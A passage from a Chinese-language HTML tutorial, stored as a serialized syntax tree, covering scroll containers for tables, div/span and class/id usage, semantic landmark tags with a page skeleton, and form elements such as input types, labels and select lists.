-->\n",[331,124807,124808,124810,124812,124815,124817,124819,124821,124824,124826],{"class":333,"line":418},[331,124809,537],{"class":337},[331,124811,84],{"class":497},[331,124813,124814],{"class":337},">4.0\u003C\u002F",[331,124816,84],{"class":497},[331,124818,7082],{"class":337},[331,124820,84],{"class":497},[331,124822,124823],{"class":337},">2025-07\u003C\u002F",[331,124825,84],{"class":497},[331,124827,505],{"class":337},[331,124829,124830,124832,124834],{"class":333,"line":427},[331,124831,788],{"class":337},[331,124833,63],{"class":497},[331,124835,505],{"class":337},[53,124837,124838],{"id":124838},"宽表格与滚动",[11,124840,124841],{},"窄屏上表格溢出会撑破整页布局。处理办法是外套一层横向滚动容器，而不是把字号压到 10px：",[308,124843,124845],{"className":485,"code":124844,"language":487,"meta":314,"style":314},"\u003Cdiv style=\"overflow-x:auto\">\u003Ctable>…\u003C\u002Ftable>\u003C\u002Fdiv>\n",[22,124846,124847],{"__ignoreMap":314},[331,124848,124849,124851,124853,124855,124857,124860,124862,124864,124866,124868,124870,124872],{"class":333,"line":334},[331,124850,510],{"class":337},[331,124852,6021],{"class":497},[331,124854,1558],{"class":501},[331,124856,518],{"class":337},[331,124858,124859],{"class":365},"\"overflow-x:auto\"",[331,124861,7082],{"class":337},[331,124863,57],{"class":497},[331,124865,6274],{"class":337},[331,124867,57],{"class":497},[331,124869,902],{"class":337},[331,124871,6021],{"class":497},[331,124873,505],{"class":337},[11,124875,124876],{},"数据量很大时考虑改成「小屏幕用卡片列表、大屏幕用表格」两套结构按媒体查询切换——这属于 CSS 教程第十三章的响应式范畴。",[48,124878,124880],{"id":124879},"八divspan-与-classid","八、div、span 与 class、id",[11,124882,124883,2012,124885,124887,124888,124891,124892],{},[22,124884,7724],{},[22,124886,118818],{}," 是「无内容的容器」：它们不表达任何含义，唯一作用是",[17,124889,124890],{},"把一组元素圈起来，好让 CSS 或 JS 找到这一块","。所以判断标准始终是：",[17,124893,124894],{},"有语义更准的标签吗？有就别用 div。",[53,124896,124898],{"id":124897},"块级与行内默认排版行为","块级与行内：默认排版行为",[57,124900,124901,124913],{},[60,124902,124903],{},[63,124904,124905,124907,124910],{},[66,124906],{},[66,124908,124909],{},"块级（block）",[66,124911,124912],{},"行内（inline）",[79,124914,124915,124958,124969,124980],{},[63,124916,124917,124920,124941],{},[84,124918,124919],{},"代表",[84,124921,124922,272,124924,272,124926,110904,124928,272,124931,272,124933,272,124935,272,124937,272,124939],{},[22,124923,6021],{},[22,124925,11],{},[22,124927,810],{},[22,124929,124930],{},"h6",[22,124932,1773],{},[22,124934,1662],{},[22,124936,26371],{},[22,124938,57],{},[22,124940,19713],{},[84,124942,124943,272,124945,272,124947,272,124949,272,124951,272,124953,272,124955],{},[22,124944,331],{},[22,124946,30],{},[22,124948,17],{},[22,124950,109830],{},[22,124952,22],{},[22,124954,18812],{},[22,124956,124957],{},"small",[63,124959,124960,124963,124966],{},[84,124961,124962],{},"占宽",[84,124964,124965],{},"独占一行，撑满可用宽度",[84,124967,124968],{},"只包住内容宽度",[63,124970,124971,124974,124977],{},[84,124972,124973],{},"宽高\u002Fmargin",[84,124975,124976],{},"可设宽高，上下 margin 生效",[84,124978,124979],{},"宽高无效，上下 margin 不生效（padding 生效但会溢出）",[63,124981,124982,124985,124988],{},[84,124983,124984],{},"能包含",[84,124986,124987],{},"可包含块级和行内",[84,124989,124990,124991,272,124993,124995],{},"默认只能放行内（",[22,124992,32551],{},[22,124994,23625],{}," 例外）",[11,124997,124998,124999,125002,125003,125005,125006,272,125009,272,125011,125014],{},"「块级和行内」是",[17,125000,125001],{},"默认显示行为","，不是标签的本质属性——CSS 的 ",[22,125004,20238],{}," 可以互相转换（",[22,125007,125008],{},"display: inline-block",[22,125010,112256],{},[22,125012,125013],{},"display: grid","），这在 CSS 教程第九章专门讲。",[4748,125016],{"height":40485,"src":125017,"title":125018},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F08-div-span.html","示例 08：块级与行内、class 与 id",[53,125020,125022],{"id":125021},"class-与-id-的边界","class 与 id 的边界",[1773,125024,125025,125046,125057,125066,125073],{},[1662,125026,125027,125032,125033,125036,125037,1901,125039,125042,125043,125045],{},[17,125028,125029,125031],{},[22,125030,8521],{}," 在整篇文档内必须唯一","，合法用途只有三类：锚点跳转目标（",[22,125034,125035],{},"#id","）、被 ",[22,125038,18917],{},[22,125040,125041],{},"aria-labelledby"," 指向、被脚本 ",[22,125044,1518],{}," 抓取。",[1662,125047,125048,125053,125054,125056],{},[17,125049,94152,125050,125052],{},[22,125051,8521],{}," 写 CSS 选择器","。它的优先级是 100，远高于 class（10），后面临时覆盖只能靠 ",[22,125055,24107],{},"，等于把样式的可维护性提前透支。",[1662,125058,125059,125061,125062,125065],{},[22,125060,24306],{}," 可以重复使用，也可以一个元素挂多个：",[22,125063,125064],{},"class=\"btn btn--primary is-disabled\"","——基础样式 + 变体 + 状态分开，本站所有组件都用这个命名法（BEM 风格）。",[1662,125067,125068,125069,62776,125071,161],{},"命名带用途而不是带外观：",[22,125070,108923],{},[22,125072,108926],{},[1662,125074,125075,125081,125082,125084,125085,5160,125088,125091],{},[17,125076,125077,125078,125080],{},"重复 ",[22,125079,8521],{}," 浏览器不报错","，但锚点和 ",[22,125083,23394],{}," 绑定只命中第一个，属于最难排查的一类 bug。用 DevTools Console 执行 ",[22,125086,125087],{},"document.querySelectorAll('[id]').length",[22,125089,125090],{},"[...document.querySelectorAll('[id]')].map(e => e.id)"," 排序对比，可以一眼看到重复。",[53,125093,125094],{"id":125094},"嵌套规则与缩进",[11,125096,125097,125098,125101,125102,125105],{},"后开的标签必须先关（",[22,125099,125100],{},"\u003Cb>\u003Ci>文字\u003C\u002Fi>\u003C\u002Fb>","），交叉嵌套 ",[22,125103,125104],{},"\u003Cb>\u003Ci>文字\u003C\u002Fb>\u003C\u002Fi>"," 是非法的，浏览器会强行「就近闭合」，结果与你的预期完全不同。",[11,125107,125108],{},"三条实操约定：",[1659,125110,125111,125118,125121],{},[1662,125112,125113,125114,125117],{},"缩进体现层级，两个空格一档；VS Code 里 ",[22,125115,125116],{},"Shift+Alt+F"," 自动格式化整份 HTML。",[1662,125119,125120],{},"块级里放块级、行内里放行内，是唯一安全的默认策略。",[1662,125122,125123,125125,125126,272,125128,272,125130,125132,125133,125135],{},[22,125124,122534],{}," 里不能再放 ",[22,125127,7724],{},[22,125129,122534],{},[22,125131,123517],{}," 等块级元素——浏览器会自动把 ",[22,125134,122534],{}," 提前闭合，导致结构意外分裂（第十八章排错清单里它是常客）。",[48,125137,125139],{"id":125138},"九语义化结构与布局标签","九、语义化结构与布局标签",[53,125141,125142],{"id":125142},"七个地标标签",[57,125144,125145,125156],{},[60,125146,125147],{},[63,125148,125149,125151,125153],{},[66,125150,123325],{},[66,125152,49671],{},[66,125154,125155],{},"数量约定",[79,125157,125158,125171,125183,125198,125211,125223,125235],{},[63,125159,125160,125165,125168],{},[84,125161,125162],{},[22,125163,125164],{},"\u003Cheader>",[84,125166,125167],{},"区块的介绍性内容（站点头、文章头）",[84,125169,125170],{},"每个区块各一个",[63,125172,125173,125177,125180],{},[84,125174,125175],{},[22,125176,123722],{},[84,125178,125179],{},"主导航区块",[84,125181,125182],{},"站内导航各一个",[63,125184,125185,125190,125193],{},[84,125186,125187],{},[22,125188,125189],{},"\u003Cmain>",[84,125191,125192],{},"页面主内容",[84,125194,125195],{},[17,125196,125197],{},"整页一个",[63,125199,125200,125205,125208],{},[84,125201,125202],{},[22,125203,125204],{},"\u003Csection>",[84,125206,125207],{},"需要标题的一个分区",[84,125209,125210],{},"任意，但每个都该有标题",[63,125212,125213,125218,125221],{},[84,125214,125215],{},[22,125216,125217],{},"\u003Carticle>",[84,125219,125220],{},"可独立分发的一段内容（博文、评论、卡片）",[84,125222,7774],{},[63,125224,125225,125230,125233],{},[84,125226,125227],{},[22,125228,125229],{},"\u003Caside>",[84,125231,125232],{},"与主内容相关但可剥离（侧栏、相关推荐）",[84,125234,7774],{},[63,125236,125237,125242,125245],{},[84,125238,125239],{},[22,125240,125241],{},"\u003Cfooter>",[84,125243,125244],{},"区块的收尾内容",[84,125246,125170],{},[11,125248,125249,125250,322,125253,125255,125256,125258,125259,2012,125261,125263,125264,125266],{},"唯一性说的是",[17,125251,125252],{},"嵌套层级",[22,125254,125189],{}," 整页只有一个；但 ",[22,125257,125217],{}," 内部的 ",[22,125260,125164],{},[22,125262,125241],{}," 与页面的 ",[22,125265,125164],{}," 不冲突，它们属于各自父区块。",[4748,125268],{"height":18300,"src":125269,"title":125270},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F09-semantic-layout.html","示例 09：语义化页面骨架",[53,125272,125273],{"id":125273},"整页骨架",[11,125275,125276],{},"一个可直接复制的起点，不含任何样式：",[308,125278,125280],{"className":485,"code":125279,"language":487,"meta":314,"style":314},"\u003Cbody>\n  \u003Cheader>\n    \u003Ch1>站点名\u003C\u002Fh1>\n    \u003Cnav>\u003Cul>\u003Cli>\u003Ca href=\"\u002F\">首页\u003C\u002Fa>\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Fnav>\n  \u003C\u002Fheader>\n\n  \u003Cmain>\n    \u003Carticle>\n      \u003Cheader>\u003Ch2>文章标题\u003C\u002Fh2>\u003Cp>\u003Ctime datetime=\"2026-10-03\">10 月 3 日\u003C\u002Ftime>\u003C\u002Fp>\u003C\u002Fheader>\n      \u003Csection>\u003Ch3>小节\u003C\u002Fh3>\u003Cp>正文……\u003C\u002Fp>\u003C\u002Fsection>\n      \u003Cfooter>\u003Cp>标签、作者\u003C\u002Fp>\u003C\u002Ffooter>\n    \u003C\u002Farticle>\n  \u003C\u002Fmain>\n\n  \u003Caside>\u003Ch2>相关推荐\u003C\u002Fh2>\u003Cul>\u003Cli>\u003Ca href=\"#\">另一篇\u003C\u002Fa>\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Faside>\n\n  \u003Cfooter>\u003Cp>版权信息\u003C\u002Fp>\u003C\u002Ffooter>\n\u003C\u002Fbody>\n",[22,125281,125282,125290,125298,125311,125353,125361,125365,125373,125382,125428,125458,125479,125487,125495,125499,125552,125556,125577],{"__ignoreMap":314},[331,125283,125284,125286,125288],{"class":333,"line":334},[331,125285,510],{"class":337},[331,125287,800],{"class":497},[331,125289,505],{"class":337},[331,125291,125292,125294,125296],{"class":333,"line":341},[331,125293,537],{"class":337},[331,125295,26386],{"class":497},[331,125297,505],{"class":337},[331,125299,125300,125302,125304,125307,125309],{"class":333,"line":357},[331,125301,6036],{"class":337},[331,125303,810],{"class":497},[331,125305,125306],{"class":337},">站点名\u003C\u002F",[331,125308,810],{"class":497},[331,125310,505],{"class":337},[331,125312,125313,125315,125317,125319,125321,125323,125325,125327,125329,125331,125333,125335,125337,125339,125341,125343,125345,125347,125349,125351],{"class":333,"line":371},[331,125314,6036],{"class":337},[331,125316,31889],{"class":497},[331,125318,7082],{"class":337},[331,125320,1773],{"class":497},[331,125322,7082],{"class":337},[331,125324,1662],{"class":497},[331,125326,7082],{"class":337},[331,125328,30],{"class":497},[331,125330,18790],{"class":501},[331,125332,518],{"class":337},[331,125334,31905],{"class":365},[331,125336,31908],{"class":337},[331,125338,30],{"class":497},[331,125340,902],{"class":337},[331,125342,1662],{"class":497},[331,125344,902],{"class":337},[331,125346,1773],{"class":497},[331,125348,902],{"class":337},[331,125350,31889],{"class":497},[331,125352,505],{"class":337},[331,125354,125355,125357,125359],{"class":333,"line":384},[331,125356,778],{"class":337},[331,125358,26386],{"class":497},[331,125360,505],{"class":337},[331,125362,125363],{"class":333,"line":397},[331,125364,998],{"emptyLinePlaceholder":997},[331,125366,125367,125369,125371],{"class":333,"line":418},[331,125368,537],{"class":337},[331,125370,7072],{"class":497},[331,125372,505],{"class":337},[331,125374,125375,125377,125380],{"class":333,"line":427},[331,125376,6036],{"class":337},[331,125378,125379],{"class":497},"article",[331,125381,505],{"class":337},[331,125383,125384,125386,125388,125390,125392,125395,125397,125399,125401,125403,125405,125408,125410,125413,125416,125418,125420,125422,125424,125426],{"class":333,"line":439},[331,125385,26621],{"class":337},[331,125387,26386],{"class":497},[331,125389,7082],{"class":337},[331,125391,48],{"class":497},[331,125393,125394],{"class":337},">文章标题\u003C\u002F",[331,125396,48],{"class":497},[331,125398,7082],{"class":337},[331,125400,11],{"class":497},[331,125402,7082],{"class":337},[331,125404,39567],{"class":497},[331,125406,125407],{"class":501}," datetime",[331,125409,518],{"class":337},[331,125411,125412],{"class":365},"\"2026-10-03\"",[331,125414,125415],{"class":337},">10 月 3 日\u003C\u002F",[331,125417,39567],{"class":497},[331,125419,902],{"class":337},[331,125421,11],{"class":497},[331,125423,902],{"class":337},[331,125425,26386],{"class":497},[331,125427,505],{"class":337},[331,125429,125430,125432,125434,125436,125438,125441,125443,125445,125447,125450,125452,125454,125456],{"class":333,"line":450},[331,125431,26621],{"class":337},[331,125433,26371],{"class":497},[331,125435,7082],{"class":337},[331,125437,53],{"class":497},[331,125439,125440],{"class":337},">小节\u003C\u002F",[331,125442,53],{"class":497},[331,125444,7082],{"class":337},[331,125446,11],{"class":497},[331,125448,125449],{"class":337},">正文……\u003C\u002F",[331,125451,11],{"class":497},[331,125453,902],{"class":337},[331,125455,26371],{"class":497},[331,125457,505],{"class":337},[331,125459,125460,125462,125464,125466,125468,125471,125473,125475,125477],{"class":333,"line":456},[331,125461,26621],{"class":337},[331,125463,26436],{"class":497},[331,125465,7082],{"class":337},[331,125467,11],{"class":497},[331,125469,125470],{"class":337},">标签、作者\u003C\u002F",[331,125472,11],{"class":497},[331,125474,902],{"class":337},[331,125476,26436],{"class":497},[331,125478,505],{"class":337},[331,125480,125481,125483,125485],{"class":333,"line":775},[331,125482,26688],{"class":337},[331,125484,125379],{"class":497},[331,125486,505],{"class":337},[331,125488,125489,125491,125493],{"class":333,"line":785},[331,125490,778],{"class":337},[331,125492,7072],{"class":497},[331,125494,505],{"class":337},[331,125496,125497],{"class":333,"line":795},[331,125498,998],{"emptyLinePlaceholder":997},[331,125500,125501,125503,125505,125507,125509,125512,125514,125516,125518,125520,125522,125524,125526,125528,125530,125533,125536,125538,125540,125542,125544,125546,125548,125550],{"class":333,"line":805},[331,125502,537],{"class":337},[331,125504,6039],{"class":497},[331,125506,7082],{"class":337},[331,125508,48],{"class":497},[331,125510,125511],{"class":337},">相关推荐\u003C\u002F",[331,125513,48],{"class":497},[331,125515,7082],{"class":337},[331,125517,1773],{"class":497},[331,125519,7082],{"class":337},[331,125521,1662],{"class":497},[331,125523,7082],{"class":337},[331,125525,30],{"class":497},[331,125527,18790],{"class":501},[331,125529,518],{"class":337},[331,125531,125532],{"class":365},"\"#\"",[331,125534,125535],{"class":337},">另一篇\u003C\u002F",[331,125537,30],{"class":497},[331,125539,902],{"class":337},[331,125541,1662],{"class":497},[331,125543,902],{"class":337},[331,125545,1773],{"class":497},[331,125547,902],{"class":337},[331,125549,6039],{"class":497},[331,125551,505],{"class":337},[331,125553,125554],{"class":333,"line":819},[331,125555,998],{"emptyLinePlaceholder":997},[331,125557,125558,125560,125562,125564,125566,125569,125571,125573,125575],{"class":333,"line":850},[331,125559,537],{"class":337},[331,125561,26436],{"class":497},[331,125563,7082],{"class":337},[331,125565,11],{"class":497},[331,125567,125568],{"class":337},">版权信息\u003C\u002F",[331,125570,11],{"class":497},[331,125572,902],{"class":337},[331,125574,26436],{"class":497},[331,125576,505],{"class":337},[331,125578,125579,125581,125583],{"class":333,"line":886},[331,125580,788],{"class":337},[331,125582,800],{"class":497},[331,125584,505],{"class":337},[11,125586,125587,125589,125590,125592],{},[22,125588,125229],{}," 放在 ",[22,125591,125189],{}," 外面还是里面，取决于它是不是「主内容的一部分」：相关推荐属于某篇文章就放进去，全站侧栏就放外面。",[53,125594,125596],{"id":125595},"为什么不能-div-全天下","为什么不能 div 全天下",[11,125598,125599,125600,125602],{},"同样一个页面，全用 ",[22,125601,7724],{}," 视觉上毫无区别，但你会丢掉三样东西：",[1659,125604,125605,125611,125622],{},[1662,125606,125607,125610],{},[17,125608,125609],{},"辅助技术的地标导航","。读屏软件（NVDA\u002FJAWS\u002FVoiceOver）有「地标列表」，用户靠它在导航、主内容、侧栏之间一键跳转。全是 div 时这个列表是空的，用户只能从头听到尾。",[1662,125612,125613,125616,125617,4809,125619,125621],{},[17,125614,125615],{},"机器可读的结构","。搜索引擎、微信\u002F微博的抓取器、浏览器的「阅读模式」都靠标签推断正文。",[22,125618,125217],{},[22,125620,125189],{}," 的页面被正确抽取的概率明显更高。",[1662,125623,125624,125627,125628,2012,125631,125634],{},[17,125625,125626],{},"可读的源码","。半年后回来看 ",[22,125629,125630],{},"\u003Carticle class=\"post-card\">",[22,125632,125633],{},"\u003Cdiv class=\"d3\">","，维护成本不是一个量级。",[11,125636,125637,125638,40639,125640,125642],{},"反过来说，语义标签不是越多越好：给一个既无标题也不能独立分发的包裹层硬套 ",[22,125639,125204],{},[22,125641,7724],{}," 更糟——你对读屏用户许下了一个兑现不了的承诺。",[53,125644,125646],{"id":125645},"什么时候仍然该用-div","什么时候仍然该用 div",[11,125648,125649,125650,125653],{},"三种情况：纯样式包裹层（为了 flex 布局多套一层）、组件的根容器、以及",[17,125651,125652],{},"找不到对应语义标签的抽象分组","。判断顺序永远是：先找语义标签 → 再找列表\u002F表格\u002F表单结构标签 → 最后才是 div\u002Fspan。",[48,125655,125657],{"id":125656},"十表单-form-与常见-input","十、表单 form 与常见 input",[11,125659,125660,125661,125664,125665,272,125667,125669,125670,125672,125673,161],{},"表单是页面把数据交给服务器的唯一标准通道。它的问题通常不在标签语法，而在",[17,125662,125663],{},"三个容易被忽略的细节","：控件没写 ",[22,125666,1900],{},[22,125668,23394],{}," 没绑定、",[22,125671,3628],{}," 用了默认的 ",[22,125674,313],{},[53,125676,125678],{"id":125677},"formactionmethod数据发去哪怎么发","form、action、method：数据发去哪、怎么发",[308,125680,125682],{"className":485,"code":125681,"language":487,"meta":314,"style":314},"\u003Cform action=\"\u002Fapi\u002Flogin\" method=\"post\" enctype=\"multipart\u002Fform-data\">\n  \u003C!-- 控件 -->\n  \u003Cbutton type=\"submit\">登录\u003C\u002Fbutton>\n\u003C\u002Fform>\n",[22,125683,125684,125716,125721,125740],{"__ignoreMap":314},[331,125685,125686,125688,125690,125693,125695,125698,125701,125703,125706,125709,125711,125714],{"class":333,"line":334},[331,125687,510],{"class":337},[331,125689,19713],{"class":497},[331,125691,125692],{"class":501}," action",[331,125694,518],{"class":337},[331,125696,125697],{"class":365},"\"\u002Fapi\u002Flogin\"",[331,125699,125700],{"class":501}," method",[331,125702,518],{"class":337},[331,125704,125705],{"class":365},"\"post\"",[331,125707,125708],{"class":501}," enctype",[331,125710,518],{"class":337},[331,125712,125713],{"class":365},"\"multipart\u002Fform-data\"",[331,125715,505],{"class":337},[331,125717,125718],{"class":333,"line":341},[331,125719,125720],{"class":1003},"  \u003C!-- 控件 -->\n",[331,125722,125723,125725,125727,125729,125731,125733,125736,125738],{"class":333,"line":357},[331,125724,537],{"class":337},[331,125726,824],{"class":497},[331,125728,835],{"class":501},[331,125730,518],{"class":337},[331,125732,22554],{"class":365},[331,125734,125735],{"class":337},">登录\u003C\u002F",[331,125737,824],{"class":497},[331,125739,505],{"class":337},[331,125741,125742,125744,125746],{"class":333,"line":371},[331,125743,788],{"class":337},[331,125745,19713],{"class":497},[331,125747,505],{"class":337},[1773,125749,125750,125755,125770,125783,125797],{},[1662,125751,125752,125754],{},[22,125753,203],{},"：接收数据的地址，省略时提交到当前页面 URL。",[1662,125756,125757,322,125759,125761,125762,125765,125766,125769],{},[22,125758,9050],{},[22,125760,2608],{}," 把数据拼在 URL 问号后（进浏览器历史、进服务器日志、长度受限），只用于搜索\u002F筛选这类",[17,125763,125764],{},"可分享、无副作用","的查询；",[22,125767,125768],{},"post"," 把数据放请求体里，登录、写入、上传一律用它。",[1662,125771,125772,125775,125776,125779,125780,161],{},[22,125773,125774],{},"enctype","：默认 ",[22,125777,125778],{},"application\u002Fx-www-form-urlencoded","；上传文件必须改成 ",[22,125781,125782],{},"multipart\u002Fform-data",[1662,125784,125785,161,125791,125793,125794,125796],{},[17,125786,125787,125788,125790],{},"只有带 ",[22,125789,1900],{}," 的控件才会被发送",[22,125792,8521],{}," 是给 ",[22,125795,23394],{}," 和 JS 用的，与提交无关——这是「后端说没收到数据」的第一大原因。",[1662,125798,125799,125801,125802,125804,125805,125807],{},[22,125800,23625],{}," 在表单内默认就是 ",[22,125803,23628],{},"。不想提交的按钮（清空、切换显示）必须显式写 ",[22,125806,23636],{},"，否则一点就触发提交。",[4748,125809],{"height":40485,"src":125810,"title":125811},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F10a-form-basic.html","示例 10a：表单结构与提交内容",[53,125813,125815],{"id":125814},"input-的-type-决定一切","input 的 type 决定一切",[11,125817,125818,125820,125821,161],{},[22,125819,3628],{}," 同时决定三件事：",[17,125822,125823],{},"用什么控件呈现、手机弹出什么键盘、浏览器按哪套规则校验",[57,125825,125826,125837],{},[60,125827,125828],{},[63,125829,125830,125832,125834],{},[66,125831,3628],{},[66,125833,1875],{},[66,125835,125836],{},"附带校验",[79,125838,125839,125850,125863,125882,125899,125919,125931,125942,125958,125975,125987,126007,126021],{},[63,125840,125841,125845,125848],{},[84,125842,125843],{},[22,125844,313],{},[84,125846,125847],{},"默认值，单行文本",[84,125849,8273],{},[63,125851,125852,125857,125860],{},[84,125853,125854],{},[22,125855,125856],{},"email",[84,125858,125859],{},"邮箱",[84,125861,125862],{},"基本格式",[63,125864,125865,125870,125873],{},[84,125866,125867],{},[22,125868,125869],{},"password",[84,125871,125872],{},"密码",[84,125874,125875,125876,1901,125879,5149],{},"无（配 ",[22,125877,125878],{},"autocomplete=\"new-password\"",[22,125880,125881],{},"\"current-password\"",[63,125883,125884,125888,125890],{},[84,125885,125886],{},[22,125887,62821],{},[84,125889,57757],{},[84,125891,125892,125893,655,125895,655,125897],{},"数字 + ",[22,125894,113735],{},[22,125896,30126],{},[22,125898,30772],{},[63,125900,125901,125906,125909],{},[84,125902,125903],{},[22,125904,125905],{},"tel",[84,125907,125908],{},"电话",[84,125910,125911,125914,125915,125918],{},[17,125912,125913],{},"不校验","，配 ",[22,125916,125917],{},"inputmode=\"numeric\""," 换数字键盘",[63,125920,125921,125925,125928],{},[84,125922,125923],{},[22,125924,18769],{},[84,125926,125927],{},"网址",[84,125929,125930],{},"需含协议名",[63,125932,125933,125937,125940],{},[84,125934,125935],{},[22,125936,10173],{},[84,125938,125939],{},"搜索框",[84,125941,8273],{},[63,125943,125944,125953,125956],{},[84,125945,125946,1901,125948,1901,125950],{},[22,125947,39549],{},[22,125949,39567],{},[22,125951,125952],{},"datetime-local",[84,125954,125955],{},"日期时间",[84,125957,72794],{},[63,125959,125960,125964,125967],{},[84,125961,125962],{},[22,125963,50337],{},[84,125965,125966],{},"滑块",[84,125968,125969,655,125971,655,125973],{},[22,125970,113735],{},[22,125972,30126],{},[22,125974,30772],{},[63,125976,125977,125981,125984],{},[84,125978,125979],{},[22,125980,109612],{},[84,125982,125983],{},"取色器",[84,125985,125986],{},"十六进制色值",[63,125988,125989,125996,125999],{},[84,125990,125991,1901,125993],{},[22,125992,122124],{},[22,125994,125995],{},"radio",[84,125997,125998],{},"多选 \u002F 单选",[84,126000,126001,126002,126004,126005],{},"同组 ",[22,126003,125995],{}," 必须同名 ",[22,126006,1900],{},[63,126008,126009,126013,126015],{},[84,126010,126011],{},[22,126012,53443],{},[84,126014,6787],{},[84,126016,4675,126017,126020],{},[22,126018,126019],{},"accept"," 筛选类型",[63,126022,126023,126027,126030],{},[84,126024,126025],{},[22,126026,111102],{},[84,126028,126029],{},"随表单提交的不可见数据（如 CSRF token）",[84,126031,8273],{},[4748,126033],{"height":32474,"src":126034,"title":126035},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F10b-input-types.html","示例 10b：input 类型速查",[11,126037,126038],{},"两个高频纠正：",[1659,126040,126041,126052],{},[1662,126042,126043,268,126046,126051],{},[22,126044,126045],{},"placeholder",[17,126047,126048,126049],{},"不能替代 ",[22,126050,23394],{},"：它一输入就消失、对比度常常不达标、翻译后易截断。",[1662,126053,126054,126055,126057,126058,126061,126062,126065,126066,126069,126070,126072],{},"读写控件的值要用",[17,126056,119219],{},"而不是特征：",[22,126059,126060],{},"el.value","（复选框 ",[22,126063,126064],{},"el.checked","、文件 ",[22,126067,126068],{},"el.files","）。改 HTML 的 ",[22,126071,22924],{}," 特征只改「初始值」，用户已输入的内容不受影响。",[53,126074,126076],{"id":126075},"label-的正确绑法","label 的正确绑法",[308,126078,126080],{"className":485,"code":126079,"language":487,"meta":314,"style":314},"\u003C!-- 显式绑定：for 与 id 成对，推荐 -->\n\u003Clabel for=\"email\">邮箱\u003C\u002Flabel>\n\u003Cinput id=\"email\" name=\"email\" type=\"email\">\n\n\u003C!-- 隐式包裹：合法，但标题和控件被拆散时不好维护 -->\n\u003Clabel>邮箱 \u003Cinput name=\"email\" type=\"email\">\u003C\u002Flabel>\n",[22,126081,126082,126087,126107,126133,126137,126142],{"__ignoreMap":314},[331,126083,126084],{"class":333,"line":334},[331,126085,126086],{"class":1003},"\u003C!-- 显式绑定：for 与 id 成对，推荐 -->\n",[331,126088,126089,126091,126093,126095,126097,126100,126103,126105],{"class":333,"line":341},[331,126090,510],{"class":337},[331,126092,23394],{"class":497},[331,126094,23397],{"class":501},[331,126096,518],{"class":337},[331,126098,126099],{"class":365},"\"email\"",[331,126101,126102],{"class":337},">邮箱\u003C\u002F",[331,126104,23394],{"class":497},[331,126106,505],{"class":337},[331,126108,126109,126111,126113,126115,126117,126119,126121,126123,126125,126127,126129,126131],{"class":333,"line":357},[331,126110,510],{"class":337},[331,126112,19733],{"class":497},[331,126114,827],{"class":501},[331,126116,518],{"class":337},[331,126118,126099],{"class":365},[331,126120,559],{"class":501},[331,126122,518],{"class":337},[331,126124,126099],{"class":365},[331,126126,835],{"class":501},[331,126128,518],{"class":337},[331,126130,126099],{"class":365},[331,126132,505],{"class":337},[331,126134,126135],{"class":333,"line":371},[331,126136,998],{"emptyLinePlaceholder":997},[331,126138,126139],{"class":333,"line":384},[331,126140,126141],{"class":1003},"\u003C!-- 隐式包裹：合法，但标题和控件被拆散时不好维护 -->\n",[331,126143,126144,126146,126148,126151,126153,126155,126157,126159,126161,126163,126165,126167,126169],{"class":333,"line":397},[331,126145,510],{"class":337},[331,126147,23394],{"class":497},[331,126149,126150],{"class":337},">邮箱 \u003C",[331,126152,19733],{"class":497},[331,126154,559],{"class":501},[331,126156,518],{"class":337},[331,126158,126099],{"class":365},[331,126160,835],{"class":501},[331,126162,518],{"class":337},[331,126164,126099],{"class":365},[331,126166,902],{"class":337},[331,126168,23394],{"class":497},[331,126170,505],{"class":337},[11,126172,126173,126174,126177],{},"显式绑定换来三个实际收益：点标题文字即聚焦（复选框是点标题即勾选，命中区域大得多，移动端体验差距明显）、读屏软件把标题播报成这个控件的名字、浏览器推断 ",[22,126175,126176],{},"autocomplete"," 也更准。",[11,126179,126180,126182,126183,126185,126186,126189],{},[22,126181,18917],{}," 指向的 ",[22,126184,8521],{}," 必须存在且不重复。一个控件允许被多个 ",[22,126187,126188],{},"\u003Clabel>"," 指向，但读屏会把两段都念出来。",[53,126191,126193],{"id":126192},"selecttextareaoptgroup-与-datalist","select、textarea、optgroup 与 datalist",[308,126195,126197],{"className":485,"code":126196,"language":487,"meta":314,"style":314},"\u003Cselect id=\"city\" name=\"city\">\n  \u003Coption value=\"\">请选择城市\u003C\u002Foption>\n  \u003Coptgroup label=\"华东\">\n    \u003Coption value=\"sh\">上海\u003C\u002Foption>\n    \u003Coption value=\"hz\">杭州\u003C\u002Foption>\n  \u003C\u002Foptgroup>\n\u003C\u002Fselect>\n\n\u003Ctextarea id=\"note\" name=\"note\" rows=\"4\">\u003C\u002Ftextarea>\n\n\u003Cinput list=\"langs\" id=\"lang\" name=\"lang\">\n\u003Cdatalist id=\"langs\">\n  \u003Coption value=\"HTML\">\u003C\u002Foption>\n  \u003Coption value=\"CSS\">\u003C\u002Foption>\n\u003C\u002Fdatalist>\n",[22,126198,126199,126220,126239,126256,126276,126295,126303,126311,126315,126349,126353,126381,126396,126415,126434],{"__ignoreMap":314},[331,126200,126201,126203,126205,126207,126209,126212,126214,126216,126218],{"class":333,"line":334},[331,126202,510],{"class":337},[331,126204,33506],{"class":497},[331,126206,827],{"class":501},[331,126208,518],{"class":337},[331,126210,126211],{"class":365},"\"city\"",[331,126213,559],{"class":501},[331,126215,518],{"class":337},[331,126217,126211],{"class":365},[331,126219,505],{"class":337},[331,126221,126222,126224,126226,126228,126230,126232,126235,126237],{"class":333,"line":341},[331,126223,537],{"class":337},[331,126225,33523],{"class":497},[331,126227,33526],{"class":501},[331,126229,518],{"class":337},[331,126231,81717],{"class":365},[331,126233,126234],{"class":337},">请选择城市\u003C\u002F",[331,126236,33523],{"class":497},[331,126238,505],{"class":337},[331,126240,126241,126243,126246,126249,126251,126254],{"class":333,"line":357},[331,126242,537],{"class":337},[331,126244,126245],{"class":497},"optgroup",[331,126247,126248],{"class":501}," 